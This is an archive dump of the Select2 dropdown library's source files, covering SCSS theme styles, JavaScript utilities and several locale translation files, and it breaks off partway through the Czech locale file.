$remove-width: 20px !default;

$selection-color: #444 !default;

$border-color: #aaa !default;
$border-radius: 4px !default;

$focus-border-color: #5897fb !default;

$container-height: 28px !default;

$selection-bg-top-color: white !default;
$selection-bg-bottom-color: #eeeeee !default;

$container-placeholder-color: #999 !default;

$container-focus-border-color: blue !default;

$selection-opened-bg-top-color: $selection-bg-bottom-color !default;
$selection-opened-bg-bottom-color: $selection-bg-top-color !default;

$dropdown-z-index: 1 !default;

$dropdown-bg-color: $selection-bg-top-color !default;

$results-max-height: 200px !default;
$results-nested-padding: 20px !default;

$results-choice-bg-hover-color: #3875d7 !default;
$results-choice-fg-hover-color: white !default;

$results-choice-fg-unselectable-color: grey !default;
PK�}�\̉ǂll!scss/theme/classic/_multiple.scssnu�[���.select2-selection--multiple {
  background-color: white;

  border: 1px solid $border-color;
  border-radius: $border-radius;

  cursor: text;

  outline: 0;

  &:focus {
    border: 1px solid $focus-border-color;
  }

  .select2-selection__rendered {
    list-style: none;
    margin: 0;
    padding: 0 5px;
  }

  .select2-selection__clear {
    display: none;
  }

  .select2-selection__choice {
    background-color: #e4e4e4;

    border: 1px solid $border-color;
    border-radius: $border-radius;

    cursor: default;

    float: left;

    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px;
  }

  .select2-selection__choice__remove {
    color: $remove-color;
    cursor: pointer;

    display: inline-block;
    font-weight: bold;

    margin-right: 2px;

    &:hover {
      color: $remove-hover-color;
    }
  }
}

&[dir="rtl"] {
  .select2-selection--multiple {
    .select2-selection__choice {
      float: right;
      margin-left: 5px;
      margin-right: auto;
    }

    .select2-selection__choice__remove {
      margin-left: 2px;
      margin-right: auto;
    }
  }
}

&.select2-container--open {
  .select2-selection--multiple {
    border: 1px solid $focus-border-color;
  }

  &.select2-container--above {
    .select2-selection--multiple {
      border-top: none;
      border-top-left-radius: 0;
      border-top-right-radius: 0;
    }
  }

  &.select2-container--below {
    .select2-selection--multiple {
      border-bottom: none;
      border-bottom-left-radius: 0;
      border-bottom-right-radius: 0;
    }
  }
}
PK�}�\?�RQ
Q
scss/theme/classic/_single.scssnu�[���.select2-selection--single {
  background-color: mix($selection-bg-top-color, $selection-bg-bottom-color);

  border: 1px solid $border-color;
  border-radius: $border-radius;

  outline: 0;

  @include gradient-vertical($selection-bg-top-color, $selection-bg-bottom-color, 50%, 100%);

  &:focus {
    border: 1px solid $focus-border-color;
  }

  .select2-selection__rendered {
    color: #444;
    line-height: 28px;
  }

  .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-right: 10px;
  }

  .select2-selection__placeholder {
    color: #999;
  }

  .select2-selection__arrow {
    background-color: #ddd;

    border: none;
    border-left: 1px solid $border-color;
    border-top-right-radius: $border-radius;
    border-bottom-right-radius: $border-radius;

    height: 26px;

    position: absolute;

    top: 1px;
    right: 1px;

    width: 20px;

    @include gradient-vertical(#eeeeee, #cccccc, 50%, 100%);

    b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;

      height: 0;
      left: 50%;

      margin-left: -4px;
      margin-top: -2px;

      position: absolute;

      top: 50%;
      width: 0;
    }
  }
}

&[dir="rtl"] {
  .select2-selection--single {
    .select2-selection__clear {
      float: left;
    }

    .select2-selection__arrow {
      border: none;
      border-right: 1px solid $border-color;

      border-radius: 0;
      border-top-left-radius: $border-radius;
      border-bottom-left-radius: $border-radius;

      left: 1px;
      right: auto;
    }
  }
}

&.select2-container--open {
  .select2-selection--single {
    border: 1px solid $focus-border-color;

    .select2-selection__arrow {
      background: transparent;

      border: none;

      b {
        border-color: transparent transparent #888 transparent;
        border-width: 0 4px 5px 4px;
      }
    }
  }

  &.select2-container--above {
    .select2-selection--single {
      border-top: none;
      border-top-left-radius: 0;
      border-top-right-radius: 0;

      @include gradient-vertical($selection-opened-bg-bottom-color, $selection-opened-bg-top-color, 0%, 50%);
    }
  }

  &.select2-container--below {
    .select2-selection--single {
      border-bottom: none;
      border-bottom-left-radius: 0;
      border-bottom-right-radius: 0;

      @include gradient-vertical($selection-opened-bg-top-color, $selection-opened-bg-bottom-color, 50%, 100%);
    }
  }
}
PK�}�\Br�scss/theme/default/layout.scssnu�[���.select2-container--default {
  @import "single";
  @import "multiple";

  &.select2-container--open.select2-container--above {
    .select2-selection--single, .select2-selection--multiple {
      border-top-left-radius: 0;
      border-top-right-radius: 0;
    }
  }

  &.select2-container--open.select2-container--below {
    .select2-selection--single, .select2-selection--multiple {
      border-bottom-left-radius: 0;
      border-bottom-right-radius: 0;
    }
  }

  .select2-search--dropdown {
    .select2-search__field {
      border: 1px solid #aaa;
    }
  }

  .select2-search--inline {
    .select2-search__field {
      background: transparent;
      border: none;
      outline: 0;
      box-shadow: none;
      -webkit-appearance: textfield;
    }
  }

  .select2-results > .select2-results__options {
    max-height: 200px;
    overflow-y: auto;
  }

  .select2-results__option {
    &[role=group] {
      padding: 0;
    }

    &[aria-disabled=true] {
      color: #999;
    }

    &[aria-selected=true] {
      background-color: #ddd;
    }

    .select2-results__option {
      padding-left: 1em;

      .select2-results__group {
        padding-left: 0;
      }

      .select2-results__option {
        margin-left: -1em;
        padding-left: 2em;

        .select2-results__option {
          margin-left: -2em;
          padding-left: 3em;

          .select2-results__option {
            margin-left: -3em;
            padding-left: 4em;

            .select2-results__option {
              margin-left: -4em;
              padding-left: 5em;

              .select2-results__option {
                margin-left: -5em;
                padding-left: 6em;
              }
            }
          }
        }
      }
    }
  }

  .select2-results__option--highlighted[aria-selected] {
    background-color: #5897fb;
    color: white;
  }

  .select2-results__group {
    cursor: default;
    display: block;
    padding: 6px;
  }
}
PK�}�\WKN��!scss/theme/default/_multiple.scssnu�[���.select2-selection--multiple {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  cursor: text;

  .select2-selection__rendered {
    box-sizing: border-box;
    list-style: none;
    margin: 0;
    padding: 0 5px;
    width: 100%;

    li {
      list-style: none;
    }
  }

  .select2-selection__placeholder {
    color: #999;

    margin-top: 5px;

    float: left;
  }

  .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-top: 5px;
    margin-right: 10px;
  }

  .select2-selection__choice {
    background-color: #e4e4e4;

    border: 1px solid #aaa;
    border-radius: 4px;
    cursor: default;

    float: left;

    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px;
  }

  .select2-selection__choice__remove {
    color: #999;
    cursor: pointer;

    display: inline-block;
    font-weight: bold;

    margin-right: 2px;

    &:hover {
      color: #333;
    }
  }
}

&[dir="rtl"] {
  .select2-selection--multiple {
    .select2-selection__choice, .select2-selection__placeholder, .select2-search--inline {
      float: right;
    }

    .select2-selection__choice {
      margin-left: 5px;
      margin-right: auto;
    }

    .select2-selection__choice__remove {
      margin-left: 2px;
      margin-right: auto;
    }
  }
}

&.select2-container--focus {
  .select2-selection--multiple {
    border: solid black 1px;
    outline: 0;
  }
}

&.select2-container--disabled {
  .select2-selection--multiple {
    background-color: #eee;
    cursor: default;
  }

  .select2-selection__choice__remove {
    display: none;
  }
}
PK�}�\^��l��scss/theme/default/_single.scssnu�[���.select2-selection--single {
  background-color: #fff;
  border: 1px solid #aaa;
  border-radius: 4px;

  .select2-selection__rendered {
    color: #444;
    line-height: 28px;
  }

  .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
  }

  .select2-selection__placeholder {
    color: #999;
  }

  .select2-selection__arrow {
    height: 26px;

    position: absolute;

    top: 1px;
    right: 1px;

    width: 20px;

    b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;

      height: 0;
      left: 50%;

      margin-left: -4px;
      margin-top: -2px;

      position: absolute;

      top: 50%;
      width: 0;
    }
  }
}

&[dir="rtl"] {
  .select2-selection--single {
    .select2-selection__clear {
      float: left;
    }

    .select2-selection__arrow {
      left: 1px;
      right: auto;
    }
  }
}

&.select2-container--disabled {
  .select2-selection--single {
    background-color: #eee;
    cursor: default;

    .select2-selection__clear {
      display: none;
    }
  }
}

&.select2-container--open {
  .select2-selection--single {
    .select2-selection__arrow {
      b {
        border-color: transparent transparent #888 transparent;
        border-width: 0 4px 5px 4px;
      }
    }
  }
}
PK�}�\(:Fqqscss/_multiple.scssnu�[���.select2-selection--multiple {
  box-sizing: border-box;

  cursor: pointer;
  display: block;

  min-height: 32px;

  user-select: none;
  -webkit-user-select: none;

  .select2-selection__rendered {
    display: inline-block;
    overflow: hidden;
    padding-left: 8px;
    text-overflow: ellipsis;
    white-space: nowrap;
  }
}

.select2-search--inline {
  float: left;

  .select2-search__field {
    box-sizing: border-box;
    border: none;
    font-size: 100%;
    margin-top: 5px;
    padding: 0;

    &::-webkit-search-cancel-button {
      -webkit-appearance: none;
    }
  }
}
PK�}�\%��scss/mixins/_gradients.scssnu�[���// https://github.com/twbs/bootstrap-sass/blob/3.3-stable/assets/stylesheets/bootstrap/mixins/_gradients.scss#L17-L27

// Vertical gradient, from top to bottom
//
// Creates two color stops, start and end, by specifying a color and position for each color stop.
// Color stops are not available in IE9 and below.
@mixin gradient-vertical($start-color: #555, $end-color: #333, $start-percent: 0%, $end-percent: 100%) {
  background-image: -webkit-linear-gradient(top, $start-color $start-percent, $end-color $end-percent);  // Safari 5.1-6, Chrome 10+
  background-image: -o-linear-gradient(top, $start-color $start-percent, $end-color $end-percent);  // Opera 12
  background-image: linear-gradient(to bottom, $start-color $start-percent, $end-color $end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#{ie-hex-str($start-color)}', endColorstr='#{ie-hex-str($end-color)}', GradientType=0); // IE9 and down
}
PK�}�\�z&�IIscss/_single.scssnu�[���.select2-selection--single {
  box-sizing: border-box;

  cursor: pointer;
  display: block;

  height: 28px;

  user-select: none;
  -webkit-user-select: none;

  .select2-selection__rendered {
    display: block;
    padding-left: 8px;
    padding-right: 20px;

    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
  }

  .select2-selection__clear {
    position: relative;
  }
}

&[dir="rtl"] {
  .select2-selection--single {
    .select2-selection__rendered {
      padding-right: 8px;
      padding-left: 20px;
    }
  }
}
PK�}�\��E��scss/core.scssnu�[���.select2-container {
  box-sizing: border-box;

  display: inline-block;
  margin: 0;
  position: relative;
  vertical-align: middle;

  @import "single";
  @import "multiple";
}

@import "dropdown";

.select2-close-mask {
  border: 0;
  margin: 0;
  padding: 0;
  display: block;
  position: fixed;
  left: 0;
  top: 0;
  min-height: 100%;
  min-width: 100%;
  height: auto;
  width: auto;
  opacity: 0;
  z-index: 99;

  // styles required for IE to work

  background-color: #fff;
  filter: alpha(opacity=0);
}

.select2-hidden-accessible {
  border: 0 !important;
  clip: rect(0 0 0 0) !important;
  -webkit-clip-path: inset(50%) !important;
  clip-path: inset(50%) !important;
  height: 1px !important;
  overflow: hidden !important;
  padding: 0 !important;
  position: absolute !important;
  width: 1px !important;
  white-space: nowrap !important;
}

@import "theme/default/layout";
@import "theme/classic/layout";
PK�}�\�����scss/_dropdown.scssnu�[���.select2-dropdown {
  background-color: white;

  border: 1px solid #aaa;
  border-radius: 4px;

  box-sizing: border-box;

  display: block;

  position: absolute;
  left: -100000px;

  width: 100%;

  z-index: 1051;
}

.select2-results {
  display: block;
}

.select2-results__options {
  list-style: none;
  margin: 0;
  padding: 0;
}

.select2-results__option {
  padding: 6px;

  user-select: none;
  -webkit-user-select: none;

  &[aria-selected] {
    cursor: pointer;
  }
}

.select2-container--open .select2-dropdown {
  left: 0;
}

.select2-container--open .select2-dropdown--above {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0;
}

.select2-container--open .select2-dropdown--below {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0;
}

.select2-search--dropdown {
  display: block;
  padding: 4px;

  .select2-search__field {
    padding: 4px;
    width: 100%;
    box-sizing: border-box;

    &::-webkit-search-cancel-button {
      -webkit-appearance: none;
    }
  }

  &.select2-search--hide {
    display: none;
  }
}
PK�}�\�+ssjs/jquery.shim.jsnu�[���/* global jQuery:false, $:false */
define(function () {
  var _$ = jQuery || $;

  if (_$ == null && console && console.error) {
    console.error(
      'Select2: An instance of jQuery or a jQuery-compatible library was not ' +
      'found. Make sure that you are including jQuery before Select2 on your ' +
      'web page.'
    );
  }

  return _$;
});
PK�}�\]�C!��js/banner.end.jsnu�[���  // Return the AMD loader configuration so it can be used outside of this file
  return {
    define: S2.define,
    require: S2.require
  };
}());
PK�}�\=i		js/banner.start.jsnu�[���(function () {
  // Restore the Select2 AMD loader so it can be used
  // Needed mostly in the language files, where the loader is not inserted
  if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) {
    var S2 = jQuery.fn.select2.amd;
  }
PK�}�\�S���"�"js/select2/utils.jsnu�[���define([
  'jquery'
], function ($) {
  var Utils = {};

  Utils.Extend = function (ChildClass, SuperClass) {
    var __hasProp = {}.hasOwnProperty;

    function BaseConstructor () {
      this.constructor = ChildClass;
    }

    for (var key in SuperClass) {
      if (__hasProp.call(SuperClass, key)) {
        ChildClass[key] = SuperClass[key];
      }
    }

    BaseConstructor.prototype = SuperClass.prototype;
    ChildClass.prototype = new BaseConstructor();
    ChildClass.__super__ = SuperClass.prototype;

    return ChildClass;
  };

  function getMethods (theClass) {
    var proto = theClass.prototype;

    var methods = [];

    for (var methodName in proto) {
      var m = proto[methodName];

      if (typeof m !== 'function') {
        continue;
      }

      if (methodName === 'constructor') {
        continue;
      }

      methods.push(methodName);
    }

    return methods;
  }

  Utils.Decorate = function (SuperClass, DecoratorClass) {
    var decoratedMethods = getMethods(DecoratorClass);
    var superMethods = getMethods(SuperClass);

    function DecoratedClass () {
      var unshift = Array.prototype.unshift;

      var argCount = DecoratorClass.prototype.constructor.length;

      var calledConstructor = SuperClass.prototype.constructor;

      if (argCount > 0) {
        unshift.call(arguments, SuperClass.prototype.constructor);

        calledConstructor = DecoratorClass.prototype.constructor;
      }

      calledConstructor.apply(this, arguments);
    }

    DecoratorClass.displayName = SuperClass.displayName;

    function ctr () {
      this.constructor = DecoratedClass;
    }

    DecoratedClass.prototype = new ctr();

    for (var m = 0; m < superMethods.length; m++) {
      var superMethod = superMethods[m];

      DecoratedClass.prototype[superMethod] =
        SuperClass.prototype[superMethod];
    }

    var calledMethod = function (methodName) {
      // Stub out the original method if it's not decorating an actual method
      var originalMethod = function () {};

      if (methodName in DecoratedClass.prototype) {
        originalMethod = DecoratedClass.prototype[methodName];
      }

      var decoratedMethod = DecoratorClass.prototype[methodName];

      return function () {
        var unshift = Array.prototype.unshift;

        unshift.call(arguments, originalMethod);

        return decoratedMethod.apply(this, arguments);
      };
    };

    for (var d = 0; d < decoratedMethods.length; d++) {
      var decoratedMethod = decoratedMethods[d];

      DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod);
    }

    return DecoratedClass;
  };

  var Observable = function () {
    this.listeners = {};
  };

  Observable.prototype.on = function (event, callback) {
    this.listeners = this.listeners || {};

    if (event in this.listeners) {
      this.listeners[event].push(callback);
    } else {
      this.listeners[event] = [callback];
    }
  };

  Observable.prototype.trigger = function (event) {
    var slice = Array.prototype.slice;
    var params = slice.call(arguments, 1);

    this.listeners = this.listeners || {};

    // Params should always come in as an array
    if (params == null) {
      params = [];
    }

    // If there are no arguments to the event, use a temporary object
    if (params.length === 0) {
      params.push({});
    }

    // Set the `_type` of the first object to the event
    params[0]._type = event;

    if (event in this.listeners) {
      this.invoke(this.listeners[event], slice.call(arguments, 1));
    }

    if ('*' in this.listeners) {
      this.invoke(this.listeners['*'], arguments);
    }
  };

  Observable.prototype.invoke = function (listeners, params) {
    for (var i = 0, len = listeners.length; i < len; i++) {
      listeners[i].apply(this, params);
    }
  };

  Utils.Observable = Observable;

  Utils.generateChars = function (length) {
    var chars = '';

    for (var i = 0; i < length; i++) {
      var randomChar = Math.floor(Math.random() * 36);
      chars += randomChar.toString(36);
    }

    return chars;
  };

  Utils.bind = function (func, context) {
    return function () {
      func.apply(context, arguments);
    };
  };

  Utils._convertData = function (data) {
    for (var originalKey in data) {
      var keys = originalKey.split('-');

      var dataLevel = data;

      if (keys.length === 1) {
        continue;
      }

      for (var k = 0; k < keys.length; k++) {
        var key = keys[k];

        // Lowercase the first letter
        // By default, dash-separated becomes camelCase
        key = key.substring(0, 1).toLowerCase() + key.substring(1);

        if (!(key in dataLevel)) {
          dataLevel[key] = {};
        }

        if (k == keys.length - 1) {
          dataLevel[key] = data[originalKey];
        }

        dataLevel = dataLevel[key];
      }

      delete data[originalKey];
    }

    return data;
  };

  Utils.hasScroll = function (index, el) {
    // Adapted from the function created by @ShadowScripter
    // and adapted by @BillBarry on the Stack Exchange Code Review website.
    // The original code can be found at
    // http://codereview.stackexchange.com/q/13338
    // and was designed to be used with the Sizzle selector engine.

    var $el = $(el);
    var overflowX = el.style.overflowX;
    var overflowY = el.style.overflowY;

    //Check both x and y declarations
    if (overflowX === overflowY &&
        (overflowY === 'hidden' || overflowY === 'visible')) {
      return false;
    }

    if (overflowX === 'scroll' || overflowY === 'scroll') {
      return true;
    }

    return ($el.innerHeight() < el.scrollHeight ||
      $el.innerWidth() < el.scrollWidth);
  };

  Utils.escapeMarkup = function (markup) {
    var replaceMap = {
      '\\': '&#92;',
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      '\'': '&#39;',
      '/': '&#47;'
    };

    // Do not try to escape the markup if it's not a string
    if (typeof markup !== 'string') {
      return markup;
    }

    return String(markup).replace(/[&<>"'\/\\]/g, function (match) {
      return replaceMap[match];
    });
  };

  // Append an array of jQuery nodes to a given element.
  Utils.appendMany = function ($element, $nodes) {
    // jQuery 1.7.x does not support $.fn.append() with an array
    // Fall back to a jQuery object collection using $.fn.add()
    if ($.fn.jquery.substr(0, 3) === '1.7') {
      var $jqNodes = $();

      $.map($nodes, function (node) {
        $jqNodes = $jqNodes.add(node);
      });

      $nodes = $jqNodes;
    }

    $element.append($nodes);
  };

  // Cache objects in Utils.__cache instead of $.data (see #4346)
  Utils.__cache = {};

  var id = 0;
  Utils.GetUniqueElementId = function (element) {
    // Get a unique element Id. If element has no id, 
    // creates a new unique number, stores it in the id 
    // attribute and returns the new id. 
    // If an id already exists, it simply returns it.

    var select2Id = element.getAttribute('data-select2-id');
    if (select2Id == null) {
      // If element has id, use it.
      if (element.id) {
        select2Id = element.id;
        element.setAttribute('data-select2-id', select2Id);
      } else {
        element.setAttribute('data-select2-id', ++id);
        select2Id = id.toString();
      }
    }
    return select2Id;
  };

  Utils.StoreData = function (element, name, value) {
    // Stores an item in the cache for a specified element.
    // name is the cache key.    
    var id = Utils.GetUniqueElementId(element);
    if (!Utils.__cache[id]) {
      Utils.__cache[id] = {};
    }

    Utils.__cache[id][name] = value;
  };

  Utils.GetData = function (element, name) {
    // Retrieves a value from the cache by its key (name)
    // name is optional. If no name specified, return 
    // all cache items for the specified element.
    // and for a specified element.
    var id = Utils.GetUniqueElementId(element);
    if (name) {
      if (Utils.__cache[id]) {
        return Utils.__cache[id][name] != null ? 
	      Utils.__cache[id][name]:
	      $(element).data(name); // Fallback to HTML5 data attribs.
      }
      return $(element).data(name); // Fallback to HTML5 data attribs.
    } else {
      return Utils.__cache[id];			   
    }
  };

  Utils.RemoveData = function (element) {
    // Removes all cached items for a specified element.
    var id = Utils.GetUniqueElementId(element);
    if (Utils.__cache[id] != null) {
      delete Utils.__cache[id];
    }
  };

  return Utils;
});
PK�}�\I�^2KKjs/select2/i18n/ms.jsnu�[���define(function () {
  // Malay
  return {
    errorLoading: function () {
      return 'Keputusan tidak berjaya dimuatkan.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Sila hapuskan ' + overChars + ' aksara';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'Sila masukkan ' + remainingChars + ' atau lebih aksara';
    },
    loadingMore: function () {
      return 'Sedang memuatkan keputusan…';
    },
    maximumSelected: function (args) {
      return 'Anda hanya boleh memilih ' + args.maximum + ' pilihan';
    },
    noResults: function () {
      return 'Tiada padanan yang ditemui';
    },
    searching: function () {
      return 'Mencari…';
    }
  };
});PK�}�\�B#��js/select2/i18n/tk.jsnu�[���define(function () {
  // Turkmen
  return {
    errorLoading: function (){
      return 'Netije ýüklenmedi.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = overChars + ' harp bozuň.';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Ýene-de iň az ' + remainingChars + ' harp ýazyň.';

      return message;
    },
    loadingMore: function () {
      return 'Köpräk netije görkezilýär…';
    },
    maximumSelected: function (args) {
      var message = 'Diňe ' + args.maximum + ' sanysyny saýlaň.';

      return message;
    },
    noResults: function () {
      return 'Netije tapylmady.';
    },
    searching: function () {
      return 'Gözlenýär…';
    }
  };
});
PK�}�\�A��MMjs/select2/i18n/sr.jsnu�[���define(function () {
  // Serbian
  function ending (count, one, some, many) {
    if (count % 10 == 1 && count % 100 != 11) {
      return one;
    }

    if (count % 10 >= 2 && count % 10 <= 4 &&
      (count % 100 < 12 || count % 100 > 14)) {
        return some;
    }

    return many;
  }

  return {
    errorLoading: function () {
      return 'Preuzimanje nije uspelo.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Obrišite ' + overChars + ' simbol';

      message += ending(overChars, '', 'a', 'a');

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Ukucajte bar još ' + remainingChars + ' simbol';

      message += ending(remainingChars, '', 'a', 'a');

      return message;
    },
    loadingMore: function () {
      return 'Preuzimanje još rezultata…';
    },
    maximumSelected: function (args) {
      var message = 'Možete izabrati samo ' + args.maximum + ' stavk';

      message += ending(args.maximum, 'u', 'e', 'i');

      return message;
    },
    noResults: function () {
      return 'Ništa nije pronađeno';
    },
    searching: function () {
      return 'Pretraga…';
    }
  };
});
PK�}�\��y��js/select2/i18n/lv.jsnu�[���define(function () {
  // Latvian
  function ending (count, eleven, singular, other) {
    if (count === 11) {
      return eleven;
    }

    if (count % 10 === 1) {
      return singular;
    }

    return other;
  }

  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Lūdzu ievadiet par  ' + overChars;

      message += ' simbol' + ending(overChars, 'iem', 'u', 'iem');

      return message + ' mazāk';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Lūdzu ievadiet vēl ' + remainingChars;

      message += ' simbol' + ending(remainingChars, 'us', 'u', 'us');

      return message;
    },
    loadingMore: function () {
      return 'Datu ielāde…';
    },
    maximumSelected: function (args) {
      var message = 'Jūs varat izvēlēties ne vairāk kā ' + args.maximum;

      message += ' element' + ending(args.maximum, 'us', 'u', 'us');

      return message;
    },
    noResults: function () {
      return 'Sakritību nav';
    },
    searching: function () {
      return 'Meklēšana…';
    }
  };
});
PK�}�\��؜::js/select2/i18n/nb.jsnu�[���define(function () {
  // Norwegian (Bokmål)
  return {
    errorLoading: function () {
      return 'Kunne ikke hente resultater.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Vennligst fjern ' + overChars + ' tegn';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'Vennligst skriv inn ' + remainingChars + ' tegn til';
    },
    loadingMore: function () {
      return 'Laster flere resultater…';
    },
    maximumSelected: function (args) {
      return 'Du kan velge maks ' + args.maximum + ' elementer';
    },
    noResults: function () {
      return 'Ingen treff';
    },
    searching: function () {
      return 'Søker…';
    }
  };
});
PK�}�\Xp���js/select2/i18n/sr-Cyrl.jsnu�[���define(function () {
  // Serbian Cyrilic
  function ending (count, one, some, many) {
    if (count % 10 == 1 && count % 100 != 11) {
      return one;
    }

    if (count % 10 >= 2 && count % 10 <= 4 &&
      (count % 100 < 12 || count % 100 > 14)) {
        return some;
    }

    return many;
  }

  return {
    errorLoading: function () {
      return 'Преузимање није успело.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Обришите ' + overChars + ' симбол';

      message += ending(overChars, '', 'а', 'а');

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Укуцајте бар још ' + remainingChars + ' симбол';

      message += ending(remainingChars, '', 'а', 'а');

      return message;
    },
    loadingMore: function () {
      return 'Преузимање још резултата…';
    },
    maximumSelected: function (args) {
      var message = 'Можете изабрати само ' + args.maximum + ' ставк';

      message += ending(args.maximum, 'у', 'е', 'и');

      return message;
    },
    noResults: function () {
      return 'Ништа није пронађено';
    },
    searching: function () {
      return 'Претрага…';
    }
  };
});
PK�}�\6_+���js/select2/i18n/ar.jsnu�[���define(function () {
  // Arabic
  return {
    errorLoading: function () {
      return 'لا يمكن تحميل النتائج';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'الرجاء حذف ' + overChars + ' عناصر';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'الرجاء إضافة ' + remainingChars + ' عناصر';
    },
    loadingMore: function () {
      return 'جاري تحميل نتائج إضافية...';
    },
    maximumSelected: function (args) {
      return 'تستطيع إختيار ' + args.maximum + ' بنود فقط';
    },
    noResults: function () {
      return 'لم يتم العثور على أي نتائج';
    },
    searching: function () {
      return 'جاري البحث…';
    }
  };
});PK�}�\.��eejs/select2/i18n/et.jsnu�[���define(function () {
  // Estonian
  return {
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Sisesta ' + overChars + ' täht';

      if (overChars != 1) {
        message += 'e';
      }

      message += ' vähem';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Sisesta ' + remainingChars + ' täht';

      if (remainingChars != 1) {
        message += 'e';
      }

      message += ' rohkem';

      return message;
    },
    loadingMore: function () {
      return 'Laen tulemusi…';
    },
    maximumSelected: function (args) {
      var message = 'Saad vaid ' + args.maximum + ' tulemus';

      if (args.maximum == 1) {
        message += 'e';
      } else {
        message += 't';
      }

      message += ' valida';

      return message;
    },
    noResults: function () {
      return 'Tulemused puuduvad';
    },
    searching: function () {
      return 'Otsin…';
    }
  };
});
PK�}�\���$js/select2/i18n/ps.jsnu�[���/* jslint maxlen: 87 */
define(function () {
  // Pashto (پښتو)
  return {
    errorLoading: function () {
      return 'پايلي نه سي ترلاسه کېدای';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'د مهربانۍ لمخي ' + overChars + ' توری ړنګ کړئ';

      if (overChars != 1) {
        message = message.replace('توری', 'توري');
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'لږ تر لږه ' + remainingChars + ' يا ډېر توري وليکئ';

      return message;
    },
    loadingMore: function () {
      return 'نوري پايلي ترلاسه کيږي...';
    },
    maximumSelected: function (args) {
      var message = 'تاسو يوازي ' + args.maximum + ' قلم په نښه کولای سی';

      if (args.maximum != 1) {
        message = message.replace('قلم', 'قلمونه');
      }

      return message;
    },
    noResults: function () {
      return 'پايلي و نه موندل سوې';
    },
    searching: function () {
      return 'لټول کيږي...';
    }
  };
});
PK�}�\'��js/select2/i18n/de.jsnu�[���define(function () {
  // German
  return {
    errorLoading: function () {
      return 'Die Ergebnisse konnten nicht geladen werden.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      return 'Bitte ' + overChars + ' Zeichen weniger eingeben';
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      return 'Bitte ' + remainingChars + ' Zeichen mehr eingeben';
    },
    loadingMore: function () {
      return 'Lade mehr Ergebnisse…';
    },
    maximumSelected: function (args) {
      var message = 'Sie können nur ' + args.maximum + ' Eintr';

      if (args.maximum === 1) {
        message += 'ag';
      } else {
        message += 'äge';
      }

      message += ' auswählen';

      return message;
    },
    noResults: function () {
      return 'Keine Übereinstimmungen gefunden';
    },
    searching: function () {
      return 'Suche…';
    }
  };
});
PK�}�\�UZo��js/select2/i18n/fa.jsnu�[���/* jshint -W100 */
/* jslint maxlen: 86 */
define(function () {
  // Farsi (Persian)
  return {
    errorLoading: function () {
      return 'امکان بارگذاری نتایج وجود ندارد.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'لطفاً ' + overChars + ' کاراکتر را حذف نمایید';

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'لطفاً تعداد ' + remainingChars + ' کاراکتر یا بیشتر وارد نمایید';

      return message;
    },
    loadingMore: function () {
      return 'در حال بارگذاری نتایج بیشتر...';
    },
    maximumSelected: function (args) {
      var message = 'شما تنها می‌توانید ' + args.maximum + ' آیتم را انتخاب نمایید';

      return message;
    },
    noResults: function () {
      return 'هیچ نتیجه‌ای یافت نشد';
    },
    searching: function () {
      return 'در حال جستجو...';
    }
  };
});
PK�}�\n�Rp��js/select2/i18n/cs.jsnu�[���define(function () {
  // Czech
  function small (count, masc) {
    switch(count) {
      case 2:
        return masc ? 'dva' : 'dvě';
      case 3:
        return 'tři';
      case 4:
        return 'čtyři';
    }
    return '';
  }
  return {
    errorLoading: function () {
      return 'Výsledky nemohly být načteny.';
    },
    inputTooLong: function (args) {
      var n = args.input.length - args.maximum;

      if (n == 1) {
        return 'Prosím, zadejte o jeden znak méně.';
      } else if (n <= 4) {
        return 'Prosím, zadejte o ' + small(n, true) + ' znaky méně.';
      } else {
        return 'Prosím, zadejte o ' + n + ' znaků méně.';
      }
    },
